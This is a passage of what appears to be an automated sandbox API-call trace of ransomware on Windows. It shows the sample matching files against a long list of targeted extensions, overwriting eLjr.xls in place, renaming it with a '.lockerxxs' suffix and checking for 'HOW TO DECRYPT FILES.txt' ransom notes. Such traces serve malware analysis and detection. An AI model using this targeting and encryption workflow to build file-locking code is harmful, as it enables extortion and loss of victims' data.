"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.413] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="eLjr.xls" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls" [0087.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.ems") returned 0 [0087.413] lstrlenA (lpString="*.ems") returned 5 [0087.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.db") returned 0 [0087.413] lstrlenA (lpString="*.db") returned 4 [0087.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.dbf") returned 0 [0087.413] lstrlenA (lpString="*.dbf") returned 5 [0087.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.myox") returned 0 [0087.413] lstrlenA (lpString="*.myox") returned 6 [0087.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.myo") returned 0 [0087.414] lstrlenA (lpString="*.myo") returned 5 [0087.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.qbw") returned 0 [0087.414] lstrlenA (lpString="*.qbw") returned 5 [0087.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.qbb") returned 0 [0087.414] lstrlenA (lpString="*.qbb") returned 5 [0087.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.qbm") returned 0 [0087.414] lstrlenA (lpString="*.qbm") returned 5 [0087.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.qbo") returned 0 [0087.414] lstrlenA (lpString="*.qbo") returned 5 [0087.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.qbx") returned 0 [0087.414] lstrlenA (lpString="*.qbx") returned 5 [0087.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.qba") returned 0 [0087.414] lstrlenA (lpString="*.qba") returned 5 [0087.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.qby") returned 0 [0087.414] lstrlenA (lpString="*.qby") returned 5 [0087.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.qbj") returned 0 [0087.414] lstrlenA (lpString="*.qbj") returned 5 [0087.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.ofx") returned 0 [0087.414] lstrlenA (lpString="*.ofx") returned 5 [0087.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.qif") returned 0 [0087.414] lstrlenA (lpString="*.qif") returned 5 [0087.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.mye") returned 0 [0087.415] lstrlenA (lpString="*.mye") returned 5 [0087.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.mbox") returned 0 [0087.415] lstrlenA (lpString="*.mbox") returned 6 [0087.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.eml") returned 0 [0087.415] lstrlenA (lpString="*.eml") returned 5 [0087.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.pst") returned 0 [0087.415] lstrlenA (lpString="*.pst") returned 5 [0087.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.ost") returned 0 [0087.415] lstrlenA (lpString="*.ost") returned 5 [0087.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.idx") returned 0 [0087.415] lstrlenA (lpString="*.idx") returned 5 [0087.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.dbx") returned 0 [0087.415] lstrlenA (lpString="*.dbx") returned 5 [0087.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.sql") returned 0 [0087.415] lstrlenA (lpString="*.sql") returned 5 [0087.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.mdb") returned 0 [0087.416] lstrlenA (lpString="*.mdb") returned 5 [0087.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.fdb") returned 0 [0087.416] lstrlenA (lpString="*.fdb") returned 5 [0087.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.wab") returned 0 [0087.416] lstrlenA (lpString="*.wab") returned 5 [0087.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.dat") returned 0 [0087.416] lstrlenA (lpString="*.dat") returned 5 [0087.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.txt") returned 0 [0087.416] lstrlenA (lpString="*.txt") returned 5 [0087.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.jpeg") returned 0 [0087.416] lstrlenA (lpString="*.jpeg") returned 6 [0087.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.jpg") returned 0 [0087.416] lstrlenA (lpString="*.jpg") returned 5 [0087.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.png") returned 0 [0087.416] lstrlenA (lpString="*.png") returned 5 [0087.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.php") returned 0 [0087.416] lstrlenA (lpString="*.php") returned 5 [0087.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.cs") returned 0 [0087.416] lstrlenA (lpString="*.cs") returned 4 [0087.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.cpp") returned 0 [0087.416] lstrlenA (lpString="*.cpp") returned 5 [0087.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.rar") returned 0 [0087.417] lstrlenA (lpString="*.rar") returned 5 [0087.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.zip") returned 0 [0087.417] lstrlenA (lpString="*.zip") returned 5 [0087.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.html") returned 0 [0087.417] lstrlenA (lpString="*.html") returned 6 [0087.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.htm") returned 0 [0087.417] lstrlenA (lpString="*.htm") returned 5 [0087.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.xlsx") returned 0 [0087.417] lstrlenA (lpString="*.xlsx") returned 6 [0087.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", pszSpec="*.xls") returned 1 [0087.417] lstrlenA (lpString="*.xls") returned 5 [0087.417] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls" [0087.417] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls" [0087.417] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls." [0087.417] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls.lockerxxs" [0087.417] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eljr.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.418] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc1f1 [0087.418] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x46745d0, dwHighDateTime=0x1d5e729), lpLastAccessTime=0x407536*(dwLowDateTime=0xb3262a80, dwHighDateTime=0x1d5dd76), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb3262a80, dwHighDateTime=0x1d5dd76)) returned 1 [0087.418] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.418] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc1cb, lpOverlapped=0x0) returned 1 [0087.420] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls") returned="eLjr.xls" [0087.421] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.421] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc1cb, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc1cb, lpOverlapped=0x0) returned 1 [0087.421] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.421] CloseHandle (hObject=0x8c) returned 1 [0087.421] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eljr.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eljr.xls.lockerxxs")) returned 1 [0087.423] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc3a799f0, ftCreationTime.dwHighDateTime=0x1d5e679, ftLastAccessTime.dwLowDateTime=0x21da9320, ftLastAccessTime.dwHighDateTime=0x1d5e0b6, ftLastWriteTime.dwLowDateTime=0x21da9320, ftLastWriteTime.dwHighDateTime=0x1d5e0b6, nFileSizeHigh=0x0, nFileSizeLow=0x17bd7, dwReserved0=0x37000334, dwReserved1=0x4e00c4, cFileName="FFuDp7E2DAdP.swf", cAlternateFileName="FFUDP7~1.SWF")) returned 1 [0087.423] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.423] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FFuDp7E2DAdP.swf") returned -1 [0087.423] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FFuDp7E2DAdP.swf") returned 1 [0087.423] lstrcmpiA (lpString1="", lpString2="FFuDp7E2DAdP.swf") returned -1 [0087.423] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eLjr.xls") returned="eLjr.xls" [0087.423] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.423] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.423] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.423] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.423] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="FFuDp7E2DAdP.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf" [0087.423] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.ems") returned 0 [0087.423] lstrlenA (lpString="*.ems") returned 5 [0087.423] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.db") returned 0 [0087.423] lstrlenA (lpString="*.db") returned 4 [0087.423] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.dbf") returned 0 [0087.423] lstrlenA (lpString="*.dbf") returned 5 [0087.423] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.myox") returned 0 [0087.424] lstrlenA (lpString="*.myox") returned 6 [0087.424] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.myo") returned 0 [0087.424] lstrlenA (lpString="*.myo") returned 5 [0087.424] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.qbw") returned 0 [0087.424] lstrlenA (lpString="*.qbw") returned 5 [0087.424] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.qbb") returned 0 [0087.424] lstrlenA (lpString="*.qbb") returned 5 [0087.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.qbm") returned 0 [0087.428] lstrlenA (lpString="*.qbm") returned 5 [0087.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.qbo") returned 0 [0087.428] lstrlenA (lpString="*.qbo") returned 5 [0087.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.qbx") returned 0 [0087.428] lstrlenA (lpString="*.qbx") returned 5 [0087.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.qba") returned 0 [0087.428] lstrlenA (lpString="*.qba") returned 5 [0087.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.qby") returned 0 [0087.428] lstrlenA (lpString="*.qby") returned 5 [0087.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.qbj") returned 0 [0087.428] lstrlenA (lpString="*.qbj") returned 5 [0087.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.ofx") returned 0 [0087.428] lstrlenA (lpString="*.ofx") returned 5 [0087.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.qif") returned 0 [0087.428] lstrlenA (lpString="*.qif") returned 5 [0087.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.mye") returned 0 [0087.428] lstrlenA (lpString="*.mye") returned 5 [0087.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.mbox") returned 0 [0087.428] lstrlenA (lpString="*.mbox") returned 6 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.eml") returned 0 [0087.429] lstrlenA (lpString="*.eml") returned 5 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.pst") returned 0 [0087.429] lstrlenA (lpString="*.pst") returned 5 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.ost") returned 0 [0087.429] lstrlenA (lpString="*.ost") returned 5 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.idx") returned 0 [0087.429] lstrlenA (lpString="*.idx") returned 5 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.dbx") returned 0 [0087.429] lstrlenA (lpString="*.dbx") returned 5 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.sql") returned 0 [0087.429] lstrlenA (lpString="*.sql") returned 5 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.mdb") returned 0 [0087.429] lstrlenA (lpString="*.mdb") returned 5 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.fdb") returned 0 [0087.429] lstrlenA (lpString="*.fdb") returned 5 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.wab") returned 0 [0087.429] lstrlenA (lpString="*.wab") returned 5 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.dat") returned 0 [0087.429] lstrlenA (lpString="*.dat") returned 5 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.txt") returned 0 [0087.429] lstrlenA (lpString="*.txt") returned 5 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.jpeg") returned 0 [0087.429] lstrlenA (lpString="*.jpeg") returned 6 [0087.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.jpg") returned 0 [0087.429] lstrlenA (lpString="*.jpg") returned 5 [0087.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.png") returned 0 [0087.430] lstrlenA (lpString="*.png") returned 5 [0087.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.php") returned 0 [0087.430] lstrlenA (lpString="*.php") returned 5 [0087.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.cs") returned 0 [0087.430] lstrlenA (lpString="*.cs") returned 4 [0087.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.cpp") returned 0 [0087.430] lstrlenA (lpString="*.cpp") returned 5 [0087.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.rar") returned 0 [0087.430] lstrlenA (lpString="*.rar") returned 5 [0087.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.zip") returned 0 [0087.430] lstrlenA (lpString="*.zip") returned 5 [0087.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.html") returned 0 [0087.430] lstrlenA (lpString="*.html") returned 6 [0087.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.htm") returned 0 [0087.430] lstrlenA (lpString="*.htm") returned 5 [0087.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.xlsx") returned 0 [0087.430] lstrlenA (lpString="*.xlsx") returned 6 [0087.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.xls") returned 0 [0087.430] lstrlenA (lpString="*.xls") returned 5 [0087.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.mp4") returned 0 [0087.430] lstrlenA (lpString="*.mp4") returned 5 [0087.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.ppt") returned 0 [0087.430] lstrlenA (lpString="*.ppt") returned 5 [0087.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.pptx") returned 0 [0087.431] lstrlenA (lpString="*.pptx") returned 6 [0087.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.doc") returned 0 [0087.431] lstrlenA (lpString="*.doc") returned 5 [0087.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.dot") returned 0 [0087.431] lstrlenA (lpString="*.dot") returned 5 [0087.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.docx") returned 0 [0087.431] lstrlenA (lpString="*.docx") returned 6 [0087.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.7z") returned 0 [0087.431] lstrlenA (lpString="*.7z") returned 4 [0087.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.tar") returned 0 [0087.431] lstrlenA (lpString="*.tar") returned 5 [0087.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.bz2") returned 0 [0087.431] lstrlenA (lpString="*.bz2") returned 5 [0087.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.gz") returned 0 [0087.431] lstrlenA (lpString="*.gz") returned 4 [0087.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.mkv") returned 0 [0087.431] lstrlenA (lpString="*.mkv") returned 5 [0087.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.eml") returned 0 [0087.431] lstrlenA (lpString="*.eml") returned 5 [0087.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.msg") returned 0 [0087.432] lstrlenA (lpString="*.msg") returned 5 [0087.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.edb") returned 0 [0087.432] lstrlenA (lpString="*.edb") returned 5 [0087.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.accdb") returned 0 [0087.432] lstrlenA (lpString="*.accdb") returned 